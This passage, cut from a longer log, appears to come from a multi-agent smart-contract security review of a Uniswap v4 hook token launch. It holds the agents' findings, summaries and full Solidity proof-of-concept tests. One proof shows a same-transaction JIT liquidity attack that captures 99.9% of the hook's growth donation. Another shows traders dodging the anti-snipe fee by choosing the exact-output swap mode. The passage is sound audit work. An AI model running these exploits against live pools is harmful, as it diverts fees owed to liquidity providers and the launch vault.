historical-LP eligibility or holding period is enforced'), and added test/DonationRecipients.t.sol which characterises the 1000/1001 capture and the sole-in-range-LP full capture against the real PoolManager, plus rollback when no liquidity is in range. I therefore downgrade this to informational: it is an economic property of the requested preset, not a defect in the code against its specification, and it does not need a code change for this launch. The requester should still understand that in practice the growth reserve will mostly be paid to whichever keeper bundles add-liquidity, donateBatch() and remove-liquidity each hour, and that no donated IMD ever becomes pool liquidity.","line":205,"path":"src/SIMDTESTHook.sol","reproduction":"Unchanged from the prior round and re-run on this tree: local PoolManager, SIMDTEST/IMD pool at sqrtPrice 2^96, seed liquidity 1e24 in [-600,600], block = openingBlock+10. (1) Exact-input buy 10_000e18 IMD and exact-input sell 10_000e18 SIMDTEST: pending() = 99852912631782833474. (2) vm.warp(lastBatch()+3600). (3) Attacker with no prior position, one transaction: modifyLiquidity(key, [-60,60], +1e27); hook.donateBatch() returns 49926456315891416737; modifyLiquidity(key, [-60,60], -1e27). Observed: attacker IMD +49876579736155261474 (99.9%), seed later collects 0.1%. forge test --match-path test/scratch/Proof_16a7c3d5ddd4.t.sol -> FAIL as quoted. Expected per the brief's stated mechanism (permissionless hourly PoolManager.donate to in-range LPs): exactly this pro rata result, so the test's at-most-half assertion is an additional requirement the brief does not state. The project's own test/DonationRecipients.t.sol (test_NewInRangePositionReceivesItsProportionalDonation, test_OnlyInRangePositionReceivesEntireDonation) passes and encodes the same numbers.","severity":"info","snippet":"            poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");","title":"Settled, no change required: donateBatch() pays the growth reserve to liquidity in range at call time, so a same-transaction JIT position captures ~99.9% of a batch; this is the behaviour the brief sp"}],"hash":"7ae0e4197a6420160573ed7c8b5714409822a3c511b922a714efe91ba46d950a","nodeId":"74b5cd8f-bae4-4f6f-b73b-b478ca5134f5","outcome":"completed","summary":"Both prior findings are settled and the report is written to `.imd-findings.json`. The tree is otherwise unchanged.\n\n**Finding 1, fee basis differs by swap mode (medium): fixed.** The new `_fees` helper grosses up exact-output amounts by the combined rate, so all four modes charge 30% plus 0.5% of gross IMD. All four supplied proofs now pass, and my own scratch checks confirmed:\n\n| Trade at opening block | Exact-input fee | Exact-output fee |\n|---|---|---|\n| Buy 68.6265 SIMDTEST | 30.5 IMD on 100 IMD | 30.5 IMD on 100 IMD |\n| Sell for 68.6245 IMD net | 29.622 anti / 0.4937 growth | 29.622 anti / 0.4937 growth |\n\nPrice-limited partial fills and a type(int256).max exact-output sell also behave as specified. The fixture now asserts against observed settlement instead of the old asymmetric formula. The full suite of 53 tests passes.\n\n**Finding 2, JIT capture of donateBatch (medium): downgraded to info, no change required.** The behaviour still reproduces exactly as before, and the author does not contest that. Their dispute is that the brief itself prescribes a permissionless hourly PoolManager.donate to in-range LPs with no eligibility rule, and on re-reading I agree. Every mitigation I proposed changes the specified payout mechanism, which is the requester's scope decision. The limitation is now disclosed in the README, the security review document and the manifest notes, and a characterisation test encodes the 99.9% and sole-LP capture numbers.\n\n**Nothing new.** I re-read the changed lines and the static-analysis leads. The gross-up denominator never drops below 6950, the strict-equality and unused-return warnings are benign no-fee and pre-credited paths, and the timestamp gate is the brief's rule. The coverage record answers all ten entry points.","treeHash":null,"usage":{"cachedInputTokens":1367807,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":16156,"runtime":"claude","turns":17,"wallClockMs":257453}},{"artifacts":[],"attempt":1,"bundleHash":"df73cbcbeaaff2f5f063cc8dc1174a355681525e6a9c36ae041db035a1efb3ed","device":"06cf148faa51546b","findings":[],"hash":"9543e43e82fce147aec9d6b7ecbfb2c9ad85aa643e4e8e9c1f410ee293cc3718","nodeId":"243f4147-8c09-4b3a-befc-f9da6f915b70","outcome":"completed","summary":"Updated exact-output fee expectations, corrected the invariant model, and added a sweep/donation regression. Only `test/` files changed.\n\nValidation:\n- `forge build` passed.\n- Offline suite: 53 passed, 0 failed, fork suite skipped.\n- Mainnet fork at block 26,146,014: all 4 tests passed, including 64 fuzz cases.\n\nNo reproducible contract defect found.","treeHash":"9a1c68463922a18e79bd3091bea214fcb48825ec","usage":{"cachedInputTokens":1084800,"inputTokens":112656,"model":"gpt-6-astra","outputTokens":5999,"runtime":"codex","turns":6,"wallClockMs":381062}},{"artifacts":[],"attempt":1,"bundleHash":"05fca3fdbd0b6eb81a0d33a48f64de8637f85b7a2187424307b196a5f85628a7","device":"de66cc20c06aee0a","findings":[],"hash":"9c7dcff4d93ae727f1ef93b4f4bf2d5fc496fe2805739a2435521f0868947f9a","nodeId":"533d5d9a-5588-4039-b57e-d98cce15ed18","outcome":"completed","summary":"Updated [launch.json](/root/.identitymd-122/work/0737ccd4-ba99-4189-ad8c-147c8710a028/533d5d9a-5588-4039-b57e-d98cce15ed18/launch.json) with implementation-accurate technical notes. Only the manifest changed.\n\nSchema, constructor arguments, permissions, and pool settings validated. `forge build` passed; `forge test`: 44 passed, 0 failed. Mainnet-fork validation remains unverified; its suite skipped without an active fork.","treeHash":"968528006620560906dfcfa7c3cc80eebc9263c0","usage":{"cachedInputTokens":306144,"inputTokens":63089,"model":"gpt-6-astra","outputTokens":5669,"runtime":"codex","turns":3,"wallClockMs":133555}},{"artifacts":[],"attempt":1,"bundleHash":"9d27e548a458f37f0952583e38186dd7c4d078bb71fa320d116bcc4b005be5a4","device":"42373055dcf76acd","findings":[],"hash":"c55046e47f3c4277fdd7f5d3372118050960c903e0e18f78d4cdaa7dcc47ae4c","nodeId":"533d5d9a-5588-4039-b57e-d98cce15ed18","outcome":"completed","summary":"Updated [launch.json](/root/.identitymd/work/0737ccd4-ba99-4189-ad8c-147c8710a028/533d5d9a-5588-4039-b57e-d98cce15ed18/launch.json) and validated the schema, constructor arguments, permissions and pool settings.\n\n- `forge build`: passed.\n- `forge test`: 53 passed, 0 failed; mainnet-fork suite skipped.\n- Only `launch.json` changed.","treeHash":"ac67c98be99a7b509f5dc0e5a247d2a6e25530f8","usage":{"cachedInputTokens":287872,"inputTokens":52535,"model":"gpt-6-astra","outputTokens":5061,"runtime":"codex","turns":3,"wallClockMs":163318}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"b57ae3a96321a0e1","findings":[{"citation":"resolved","description":"Asymmetry (economics x asymmetry seam). The two fee branches use different bases for the same trade. beforeSwap (src/SIMDTESTHook.sol:123-130) charges `rate * requested` where `requested` is the trader's gross IMD budget (exact-input buy) or net IMD receipt (exact-output sell). afterSwap (src/SIMDTESTHook.sol:153-154) charges `rate * base` where `base` is the pool-side IMD delta before the fee is added (exact-output buy) or removed (exact-input sell). Because the fee is added on top of the pool amount in the afterSwap branch, its share of what the trader actually pays is rate/(1+rate): at the opening block 0.305/1.305 = 23.37% of the gross IMD spend, versus 30.5% in the beforeSwap branch. The same pool state, same block and same tokens therefore cost different amounts depending only on which side the router specifies. A sniper in blocks B..B+9 always submits exact-output buys (and exact-output sells on the way out) and pays roughly a quarter less anti-snipe and growth fee than the brief's 30% + 0.5%; the vault and the growth reserve receive correspondingly less. The README's table documents the four bases but the brief states one rate, and the two branches should agree on what the rate applies to (either the pool-side IMD amount in all four modes, or the trader-side gross in all four). Whichever basis is intended, the other branch is wrong.","line":153,"path":"src/SIMDTESTHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SIMDTEST} from \"src/SIMDTEST.sol\";\nimport {SIMDTESTHook} from \"src/SIMDTESTHook.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ncontract MintableERC20 is ERC20 {\n    constructor() ERC20(\"Identity\", \"IMD\") {}\n    function mint(address to, uint256 amount) external { _mint(to, amount); }\n}\n\ncontract ProofRouter is IUnlockCallback {\n    IPoolManager public immutable manager;\n    constructor(IPoolManager m) { manager = m; }\n\n    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        (uint8 op, address payer, PoolKey memory key, bytes memory args) = abi.decode(data, (uint8, address, PoolKey, bytes));\n        BalanceDelta delta;\n        if (op == 1) (delta,) = manager.modifyLiquidity(key, abi.decode(args, (ModifyLiquidityParams)), \"\");\n        else delta = manager.swap(key, abi.decode(args, (SwapParams)), \"\");\n        _settle(key.currency0, delta.amount0(), payer);\n        _settle(key.currency1, delta.amount1(), payer);\n        return abi.encode(delta);\n    }\n\n    function _settle(Currency c, int128 amount, address payer) private {\n        if (amount < 0) {\n            uint256 owed = uint256(-int256(amount));\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), owed);\n            manager.settle();\n        } else if (amount > 0) {\n            manager.take(c, payer, uint256(int256(amount)));\n        }\n    }\n}\n\n/// The hook's fee is a fixed percentage of the IMD leg of a trade. The percentage must not depend\n/// on whether the trader specifies the input or the output: for the same tokens bought from the same\n/// pool state in the same block, the hook must take the same IMD fee. On the current code an\n/// exact-output buy pays 21.1975 IMD where the exact-input buy of the same tokens pays 30.5 IMD.\ncontract ProofFeeBasisTest is Test {\n    address constant PAIR = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;\n    uint160 constant PRICE = 79228162514264337593543950336;\n    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);\n    uint256 constant LIQ = 1_000_000 ether;\n\n    IPoolManager manager;\n    SIMDTEST token;\n    SIMDTESTHook hook;\n    ProofRouter router;\n    PoolKey key;\n    uint256 opened;\n\n    function setUp() public {\n        vm.etch(PAIR, type(MintableERC20).runtimeCode);\n        MintableERC20(PAIR).mint(address(this), 1e30);\n        manager = new PoolManager(address(this));\n        token = new SIMDTEST();\n        bytes memory code = abi.encodePacked(type(SIMDTESTHook).creationCode, abi.encode(manager, address(token)));\n        bytes32 h = keccak256(code);\n        bytes32 salt;\n        for (uint256 i;; ++i) {\n            salt = bytes32(i);\n            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, h)))));\n            if (uint160(p) & ((1 << 14) - 1) == FLAGS) break;\n        }\n        hook = new SIMDTESTHook{salt: salt}(manager, address(token));\n        key = hook.poolKey();\n        manager.initialize(key, PRICE);\n        opened = block.number;\n        router = new ProofRouter(manager);\n        token.approve(address(router), type(uint256).max);\n        IERC20(PAIR).approve(address(router), type(uint256).max);\n        router.liquidity(key, ModifyLiquidityParams(-600, 600, int256(LIQ), bytes32(0)));\n    }\n\n    function _params(bool buy, bool exactInput, uint256 amount) internal view returns (SwapParams memory) {\n        bool zeroForOne = buy == hook.pairedIs0();\n        return SwapParams(\n            zeroForOne,\n            exactInput ? -int256(amount) : int256(amount),\n            zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1\n        );\n    }\n\n    function _tok(BalanceDelta d) internal view returns (int256) {\n        return hook.pairedIs0() ? int256(d.amount1()) : int256(d.amount0());\n    }\n\n    function _pair(BalanceDelta d) internal view returns (int256) {\n        return hook.pairedIs0() ? int256(d.amount0()) : int256(d.amount1());\n    }\n\n    function test_sameTokensSameBlockSameHookFeeRegardlessOfSwapMode() public {\n        vm.roll(opened); // opening block: 30% anti-snipe + 0.5% growth\n        uint256 snap = vm.snapshotState();\n\n        BalanceDelta ei = router.swap(key, _params(true, true, 100 ether));\n        uint256 tokens = uint256(_tok(ei));\n        uint256 feeExactInput = hook.pending() + hook.antiSnipePending();\n        uint256 paidExactInput = uint256(-_pair(ei));\n        vm.revertToState(snap);\n\n        BalanceDelta eo = router.swap(key, _params(true, false, tokens));\n        uint256 feeExactOutput = hook.pending() + hook.antiSnipePending();\n        uint256 paidExactOutput = uint256(-_pair(eo));\n        assertEq(uint256(_tok(eo)), tokens, \"same tokens bought\");\n\n        // Same trade, same state: the hook must charge the same fee and the buyer must pay the same.\n        assertApproxEqRel(feeExactOutput, feeExactInput, 1e15, \"hook fee depends on swap mode\");\n        assertApproxEqRel(paidExactOutput, paidExactInput, 1e15, \"gross IMD cost depends on swap mode\");\n    }\n}","reproduction":"State: fresh PoolManager, SIMDTEST/IMD pool at sqrtPrice 2^96, liquidity 1e24 in [-600,600], block = openingBlock (antiSnipeBps = 3000). (1) Exact-input buy: swap(zeroForOne = pairedIs0, amountSpecified = -100e18). Result: trader pays 100 IMD, receives 68.626540074771493338 SIMDTEST, hook fees = 30.5 IMD (3050 bps of gross). (2) Revert state. Exact-output buy of exactly 68.626540074771493338 SIMDTEST: swap(zeroForOne = pairedIs0, amountSpecified = +68626540074771493338). Result: trader pays 90.6975 IMD, hook fees = 21.1975 IMD (2337 bps of gross). Expected: the same tokens bought from the same state in the same block cost the same and pay the same hook fee. Actual: the exact-output trader saves 9.3025 IMD, all of it taken from the anti-snipe vault and the growth reserve. Mirror for sells: exact-input sell of 100 SIMDTEST yields 68.6245 IMD with 30.1158 IMD of fees; an exact-output sell asking for the same 68.6245 IMD sells only 90.6967 SIMDTEST and pays 20.9305 IMD of fees. Run test/scratch/ProofFeeBasis.t.sol: fails with `hook fee depends on swap mode: 21197500000000000000 !~= 30500000000000000000`.","severity":"medium","snippet":"        uint256 base = _abs(pairedIs0 ? int256(delta.amount0()) : int256(delta.amount1()));\n        uint256 fee = _accrue(base * antiSnipeBps() / BPS, base * GROWTH_BPS / BPS);","title":"Hook fee basis differs between specified-IMD and unspecified-IMD swap modes, so a trader picks exact-output and pays 23.4% instead of 30.5%"},{"citation":"resolved","description":"Trust gap (access x economics seam). donateBatch (src/SIMDTESTHook.sol:170-180) is callable by anyone once the timer allows, and unlockCallback settles it with PoolManager.donate, which credits feeGrowth to the liquidity in range at the current tick at that moment, pro rata by liquidity. Nothing ties the donation to liquidity that existed before the call, and the hook enables no liquidity callbacks, so it cannot distinguish the launch's seed position from liquidity minted one call earlier. The guard is correct in isolation (anyone may donate, by design) and the donate is correct in isolation (standard v4), but combined they let the permitted actor choose the recipient of the economic step: an unprivileged caller mints a very large position in the narrowest in-range band, calls donateBatch, and burns the position, all in one transaction, netting almost the entire donation at a cost of gas and 1 wei of rounding. The same actor can also first swap the price into a band where only their liquidity exists. Since 50% of the reserve is released every hour, the whole liquidity-growth fee (0.5% of all IMD volume) is systematically redirected from the launch's LPs to a bot, and the brief's purpose (benefiting in-range LPs, long-term liquidity expansion) is not met. The README calls this capture 'a portion'; the measured portion is 99.9% with 1000x the seed liquidity, and it scales to arbitrarily close to 100%. This is design-level: possible fixes include having the hook own the receiving position (add liquidity instead of donate), gating donateBatch to liquidity aged at least one block via beforeAddLiquidity/afterRemoveLiquidity bookkeeping, or donating in many small tranches so JIT is not worth the gas; any of them changes how the growth reserve is paid out.","line":195,"path":"src/SIMDTESTHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SIMDTEST} from \"src/SIMDTEST.sol\";\nimport {SIMDTESTHook} from \"src/SIMDTESTHook.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ncontract MintableERC20 is ERC20 {\n    constructor() ERC20(\"Identity\", \"IMD\") {}\n    function mint(address to, uint256 amount) external { _mint(to, amount); }\n}\n\ncontract ProofRouter is IUnlockCallback {\n    IPoolManager public immutable manager;\n    constructor(IPoolManager m) { manager = m; }\n\n    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        (uint8 op, address payer, PoolKey memory key, bytes memory args) = abi.decode(data, (uint8, address, PoolKey, bytes));\n        BalanceDelta delta;\n        if (op == 1) (delta,) = manager.modifyLiquidity(key, abi.decode(args, (ModifyLiquidityParams)), \"\");\n        else delta = manager.swap(key, abi.decode(args, (SwapParams)), \"\");\n        _settle(key.currency0, delta.amount0(), payer);\n        _settle(key.currency1, delta.amount1(), payer);\n        return abi.encode(delta);\n    }\n\n    function _settle(Currency c, int128 amount, address payer) private {\n        if (amount < 0) {\n            uint256 owed = uint256(-int256(amount));\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), owed);\n            manager.settle();\n        } else if (amount > 0) {\n            manager.take(c, payer, uint256(int256(amount)));\n        }\n    }\n}\n\n/// An unprivileged caller who held no liquidity before the batch must not be able to walk away\n/// with the growth reserve by adding liquidity, calling donateBatch and removing it in one block.\n/// On the current code the attacker nets 99.9% of the donation at a cost of 1 wei of SIMDTEST.\ncontract ProofJitTest is Test {\n    address constant PAIR = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;\n    uint160 constant PRICE = 79228162514264337593543950336;\n    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);\n    uint256 constant LIQ = 1_000_000 ether;\n\n    IPoolManager manager;\n    SIMDTEST token;\n    SIMDTESTHook hook;\n    ProofRouter router;\n    PoolKey key;\n    uint256 opened;\n    address attacker = makeAddr(\"attacker\");\n\n    function setUp() public {\n        vm.etch(PAIR, type(MintableERC20).runtimeCode);\n        MintableERC20(PAIR).mint(address(this), 1e30);\n        manager = new PoolManager(address(this));\n        token = new SIMDTEST();\n        bytes memory code = abi.encodePacked(type(SIMDTESTHook).creationCode, abi.encode(manager, address(token)));\n        bytes32 h = keccak256(code);\n        bytes32 salt;\n        for (uint256 i;; ++i) {\n            salt = bytes32(i);\n            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, h)))));\n            if (uint160(p) & ((1 << 14) - 1) == FLAGS) break;\n        }\n        hook = new SIMDTESTHook{salt: salt}(manager, address(token));\n        key = hook.poolKey();\n        manager.initialize(key, PRICE);\n        opened = block.number;\n        router = new ProofRouter(manager);\n        token.approve(address(router), type(uint256).max);\n        IERC20(PAIR).approve(address(router), type(uint256).max);\n        // The launch seed position.\n        router.liquidity(key, ModifyLiquidityParams(-600, 600, int256(LIQ), bytes32(0)));\n    }\n\n    function _params(bool buy, bool exactInput, uint256 amount) internal view returns (SwapParams memory) {\n        bool zeroForOne = buy == hook.pairedIs0();\n        return SwapParams(\n            zeroForOne,\n            exactInput ? -int256(amount) : int256(amount),\n            zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1\n        );\n    }\n\n    function test_jitLiquidityCannotCaptureTheDonation() public {\n        vm.roll(opened + 10); // past the anti-snipe window: only the growth fee accrues\n        router.swap(key, _params(true, true, 10_000 ether));\n        router.swap(key, _params(false, true, 10_000 ether));\n        uint256 donation = hook.pending() / 2;\n        assertGt(donation, 0);\n        vm.warp(hook.lastBatch() + 3600);\n\n        token.transfer(attacker, 1e25);\n        IERC20(PAIR).transfer(attacker, 1e25);\n        vm.startPrank(attacker);\n        token.approve(address(router), type(uint256).max);\n        IERC20(PAIR).approve(address(router), type(uint256).max);\n        uint256 pairBefore = IERC20(PAIR).balanceOf(attacker);\n        // Every step is tolerant of a revert so that a fix which blocks any of them still passes.\n        ModifyLiquidityParams memory add = ModifyLiquidityParams(-60, 60, int256(LIQ * 1000), bytes32(0));\n        ModifyLiquidityParams memory remove = ModifyLiquidityParams(-60, 60, -int256(LIQ * 1000), bytes32(0));\n        address(router).call(abi.encodeCall(ProofRouter.liquidity, (key, add)));\n        address(hook).call(abi.encodeCall(SIMDTESTHook.donateBatch, ()));\n        address(router).call(abi.encodeCall(ProofRouter.liquidity, (key, remove)));\n        vm.stopPrank();\n\n        int256 attackerGain = int256(IERC20(PAIR).balanceOf(attacker)) - int256(pairBefore);\n        assertLe(attackerGain, int256(donation / 2), \"a same-block JIT LP captured most of the growth donation\");\n    }\n}","reproduction":"State: fresh PoolManager, SIMDTEST/IMD pool, seed liquidity 1e24 in [-600,600] (the honest launch LP), block = openingBlock + 10. (1) Trader buys 10_000 IMD exact-input and sells 10_000 SIMDTEST exact-input: hook.pending() = 99.852912631782833474 IMD. (2) warp to lastBatch + 3600. (3) Attacker (no prior position) in one block: modifyLiquidity(key, [-60,60], +1e27 liquidity) then hook.donateBatch() (returns 49.926456315891416737) then modifyLiquidity(key, [-60,60], -1e27). Attacker IMD balance change: +49.876579736155261474 IMD; SIMDTEST change: -1 wei. (4) Honest LP collects (modifyLiquidity with delta 0): receives 0.049876579736155261 IMD, i.e. 0.1% of the donation. Expected: the donation benefits the LPs who supplied liquidity before the batch. Actual: 99.9% goes to a caller who held liquidity for a single call. Run test/scratch/ProofJit.t.sol: fails with `a same-block JIT LP captured most of the growth donation: 49876579736155261474 > 24963228157945708368`.","severity":"medium","snippet":"            poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");","title":"Public donateBatch pays the growth reserve to whoever holds in-range liquidity at that instant, so a same-block JIT LP captures 99.9% of every donation"}],"hash":"db223d941fc29286e2ba1c038556899b0d153a39a6f0bbb00ce442c10b126beb","nodeId":"1816de5e-8aa1-4b5d-9566-108c86384eb2","outcome":"completed","summary":"Review complete. The findings file is written and validated, and the working tree is otherwise untouched (scratch tests live under the git-ignored `test/scratch/`).\n\n**Outcome:** two medium findings, no critical or high. The access-control surface itself is clean. Every hook callback is restricted to the PoolManager, the quote entry point is self-only and always reverts, the unlock callback is guarded by a one-shot flag, no owner, setter, proxy, delegatecall or selfdestruct exists, and the permission bits match both `getHookPermissions` and the manifest. The pool cannot be opened before the factory's atomic deployment because v4 rejects an empty hook address with InvalidHookResponse.\n\n**Findings written to `.imd-findings.json`:**\n\n1. **Fee basis differs by swap mode (Asymmetry).** The beforeSwap branch charges the rate on the trader's gross IMD amount, while the afterSwap branch charges it on the pool-side IMD amount before the fee is stacked on. For the same tokens from the same state in the opening block, an exact-input buy pays 100 IMD with 30.5 IMD of hook fees, and an exact-output buy pays 90.70 IMD with 21.20 IMD of fees. A sniper who picks exact-output pays an effective 23.4% instead of 30.5%, shorting the vault and growth reserve. Proof test fails on current code.\n\n2. **JIT capture of the growth donation (Trust Gap, access × economics).** Anyone may call donateBatch, and v4 donate pays whoever is in range at that instant. An attacker who mints a large narrow position, calls donateBatch and burns it in one block nets 49.88 of a 49.93 IMD donation. The seed LP receives 0.1%. The README calls this \"a portion\"; measured, it is effectively all of it, so the growth fee becomes a bot subsidy rather than an LP benefit. Proof test fails on current code.\n\n**Coverage:** all 10 verifier-listed entry points have rows, plus two invariant rows. Seven hold, three are tied to the findings above. Nothing was left unreached.\n\n**Not covered:** the real IMD token's transfer behaviour on mainnet (blacklists, pausing) could not be checked offline. A reverting vault transfer would strand anti-snipe fees since the recipient is a constant, but that depends on live token behaviour and the project already documents the rollback path.","treeHash":null,"usage":{"cachedInputTokens":1516644,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":46103,"runtime":"claude","turns":42,"wallClockMs":630282}},{"artifacts":[],"attempt":2,"bundleHash":"a4417fa3ef4c950b6bc079640f68fe2bea1e096a5d63fef3c769eb0755ca0522","device":"77cba07fd04368e3","findings":[],"hash":"fde7cae49baf708d3b46a767b4b90c5e02052cd866a6eef6b5dd933253822300","nodeId":"0039cfe3-1249-40bb-b60d-8ecd7e884ce1","outcome":"completed","summary":"Implemented the token, immutable hook, fee collection, sweep/donation operations, tests, documentation, and vendored dependencies. Fixed `launch.json` to use `\"kind\": \"univ4_hook\"`.\n\nVerified:\n- `forge build` and clean offline build pass.\n- 27 tests and all 11 supplied protected checks pass.\n- `forge fmt --check` passes.\n\nMainnet-fork tests are included but remain unverified: public RPC requests returned HTTP 403.","treeHash":"68ecd3b66d2af10dfefa3cdb8bea41d893fd297c","usage":{"cachedInputTokens":3252864,"inputTokens":137108,"model":"gpt-6-astra","outputTokens":37572,"runtime":"codex","turns":8,"wallClockMs":1309969}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ca080fd306399669","findings":[{"citation":"resolved","description":"Numerical-gap seam (precision x invariant): two formulas that must price the same trade use different bases. On the specified-IMD paths (beforeSwap, line 124-126) the rate is applied to the trader's gross IMD budget (exact-input buy) or to the net IMD the trader wants (exact-output sell). On the unspecified-IMD paths (afterSwap, line 153-154) the rate is applied to the core's net IMD delta `base`, which for an exact-output buy is the IMD the pool receives *after* the hook fee is excluded. Because fee = base*r/BPS and the trader's gross is base + fee, the trader's effective rate is r/(1+r) = 0.305/1.305 = 23.37% instead of 30.5%. The same 23.37% applies to exact-output sells (fee is 30.5% of net output, 23.4% of gross output) while exact-input sells pay 30.5% of gross output. So the identical economic trade (same tokens bought, same core swap, same block) is charged two different anti-snipe fees, and any sniper that specifies the output side pays 30% less than the brief's 'fee starting at 30%'. Uniswap's own LP fee keeps a consistent fraction of gross input in both modes (exact-out uses amountIn*fee/(1e6-fee)); the hook does not. The README documents the two bases but not that they yield different rates. Impact: the SIMD Hackathon vault and in-range LPs receive ~30% less of the intended fee from every exact-output swap during the anti-snipe window and ~0.5bp less afterwards; the anti-snipe deterrent is weaker than specified for exactly the sophisticated actors it targets. Fix: pick one base. Either gross-up the unspecified-side fee (fee = base*r/(BPS-r) for exact-output buys so fee is r of gross input, and fee = base*r/BPS for exact-input sells so fee is r of gross output while exact-output sells use requested*r/(BPS-r)), or make the specified side charge r of the net amount; then the proof below passes.","line":154,"path":"src/SIMDTESTHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SIMDTEST} from \"src/SIMDTEST.sol\";\nimport {SIMDTESTHook} from \"src/SIMDTESTHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ncontract PairToken is ERC20 {\n    constructor() ERC20(\"Identity\", \"IMD\") {}\n}\n\ncontract Router is IUnlockCallback {\n    IPoolManager immutable manager;\n    constructor(IPoolManager m) { manager = m; }\n\n    function swap(PoolKey memory key, SwapParams memory p) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(true, msg.sender, key, abi.encode(p))), (BalanceDelta));\n    }\n\n    function liquidity(PoolKey memory key, ModifyLiquidityParams memory p) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(false, msg.sender, key, abi.encode(p))), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        (bool isSwap, address payer, PoolKey memory key, bytes memory args) = abi.decode(data, (bool, address, PoolKey, bytes));\n        BalanceDelta d;\n        if (isSwap) d = manager.swap(key, abi.decode(args, (SwapParams)), \"\");\n        else (d,) = manager.modifyLiquidity(key, abi.decode(args, (ModifyLiquidityParams)), \"\");\n        _settle(key.currency0, d.amount0(), payer);\n        _settle(key.currency1, d.amount1(), payer);\n        return abi.encode(d);\n    }\n\n    function _settle(Currency c, int128 amount, address payer) private {\n        if (amount < 0) {\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), uint256(-int256(amount)));\n            manager.settle();\n        } else if (amount > 0) {\n            manager.take(c, payer, uint256(int256(amount)));\n        }\n    }\n}\n\n/// @notice The anti-snipe + 